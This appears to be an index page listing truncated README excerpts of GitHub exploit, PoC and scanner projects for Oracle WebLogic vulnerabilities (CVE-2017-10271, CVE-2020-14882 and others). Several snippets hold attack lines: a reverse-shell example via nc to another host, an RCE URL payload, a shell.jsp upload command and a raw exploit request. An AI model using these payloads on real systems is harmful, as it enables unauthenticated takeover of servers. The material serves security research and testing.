cve-2018-2894

Weblogic Arbitrary File Upload Vulnerability CVE-2018-2894 Recently, everyone has been talking about this vulnerability, and most have noticed the issue at config.do. However, according to https://mp.weixin.qq.com/s/y5JGmM-aNaHcs6P9a-gRQ the information there, begin.do also has a problem. Without...

CVE-2020-2551

CVE-2020-2551 The setup script of this project has been tested on version 10.3.6, version 12 has not been tested. Environment kali+weblogic10.3.6+jdk6u25 Ensure the machine deploying weblogic has at least 1.5G of memory, because the script specifies -x1024m in its parameters. Usage Deploy weblogi...

woodpecker-plugins

woodpecker-plugins usage Copy the plugins to the woodpecker-framwork/plugin directory and start java -jar woodpecker-framework.1.3.3.jar from https://github.com/woodpecker-appstore weblogic-info check T3 isOpen: echo 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'|nc...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP for Python （complete in one step） Useage: Python3 exploit.py -t -c tips: No echo Example： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' then you will getshell...

CVE-2017-3506

What is this? This is a poc of CVE-2017-3506Weblogic XMLDecoder Serialization How to use it? check vul java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001 GetShell java -jar WebLogic-XMLDecoder.jar -s http://192.168.174.144:7001 /wls-wsat/CoordinatorPortType11 shell.jsp Then you can...

WeblogicScan

WeblogicScan Weblogic one-click vulnerability detection tool, V1.5 Software Author: TideRabbitMask Disclaimer: Pia!ｏ ‵-′ノ”ノ﹏。 This tool is for security testing only, please do not use it for illegal purposes, be good V 1.5 Feature Introduction: Provides one-click poc detection, covering almost al...

CVE-2017-10271

CVE-2017-10271 identification and exploitation. Unauthenticated Weblogic RCE. https://nvd.nist.gov/vuln/detail/CVE-2017-10271 https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: SOMEHOSTHERE Content-Length: 1226 content-type...

weblogic_wls_wsat_rce

weblogicwlswsatrce Weblogic wls-wsat component deserialization vulnerability CVE-2017-10271 exploit script, modified fromhttps://github.com/s3xy/CVE-2017-10271. Command execution with output Directly upload shell Tested OK on Linux Weblogic 10.3.6.0 Usage and Parameters python weblogicwlswsatexp....

CVE-2021-2109

CVE-2021-2109 Weblogic Server Remote Code Execution Vulnerability Reproduction and Analysis In January 2021, Oracle released a security update patch, including 329 new security patches in the Oracle product family. This announcement specifically mentioned the Oracle WebLogic Server security...

cve-2020-14882

CVE-2020-14882 Affected versions: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 POC: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';"; image: EXP: python...

Oracle-WebLogic-CVE-2017-10271

Oracle-WebLogic-CVE-2017-10271 WebLogic wls-wsat RCE CVE-2017-10271 Vulnerability Description In the early days, hackers exploited the WLS component vulnerability of WebLogic to launch large-scale remote attacks against enterprise servers. A large number of enterprise servers were compromised, an...

Weblogic_CVE-2020-2883_POC

POC for weblogic CVE-2020-2883 poc1: javax.management.BadAttributeValueExpException.readObject com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString java.util.concurrent.ConcurrentSkipListMap$SubMap.size java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd...

CVE-2020-14882

CVE-2020-14882 This script enables remote code execution RCE on Oracle WebLogic Server using an unauthenticated GET request. It exploits the vulnerability CVE-2020-14882. By executing arbitrary commands, an attacker can gain unauthorized access to the server. Exploit Details Exploit Title: Oracle...

CVE-2018-2628

CVE-2018-2628 CVE-2018-2628 Vulnerability Toolkit Vulnerability exploit tools compiled from Github include: 1.CVE-2018-2628 Vulnerability Detection Tool // POC for vulnerability existence detection 2.weblogicpoc.py // POC for exploit 3.ysoserial-0.1-cve-2018-2628-all.jar // Reference exploit tool...

westone-CVE-2020-14883-scanner

westone-CVE-2020-14883-scanner A remote attacker can construct a special HTTP request to take over the WebLogic Server Console without authentication. Installation & Usage git clone https://github.com/Osyanina/westone-CVE-2020-14883-scanner.git cd westone-CVE-2020-14883-scanner cmd...

CVE-2026-60206-PoC-Exploit

CVE-2026-60206 - Oracle WebLogic SAML Auth Bypass Exploit Framework-Toolkit Oracle WebLogic Server — SAML Authentication Bypass → Admin Takeover Exploit Framework & Mass Scanner For authorized security testing only. Legal Disclaimer & Responsible Use This tool is provided for educational and...

CVE-2020-14882

CVE-2020-14882 CVE-2020-14882 Description Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Console. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows...

CVE-2020-14883

CVE-2020-14883 Oracle WebLogic Server Authenticated Remote Code Execution RCE Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Console. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily...

weblogic2021

This project is intended for security research and authorized use only. Users are responsible and obligated to comply with local laws and regulations. weblogic2021 CVE-2021-1994, CVE-2021-2047, CVE-2021-2064, CVE-2021-2108, CVE-2021-2075, CVE-2019-17195, CVE-2020-14756, CVE-2021-2109 7 critical...

CVE-2018-3191

Usage: java -jar weblogic-spring-jndi.jar Example: java -jar weblogic-spring-jndi.jar rmi://:1099/Object Note: weblogic-spring-jndi-12.2.1.3.jar for weblogic: 12.2.1.3 weblogic-spring-jndi-10.3.6.0.jar for weblogic: 10.3.6.0 12.2.1.0 12.1.3.0 12.2.1.1...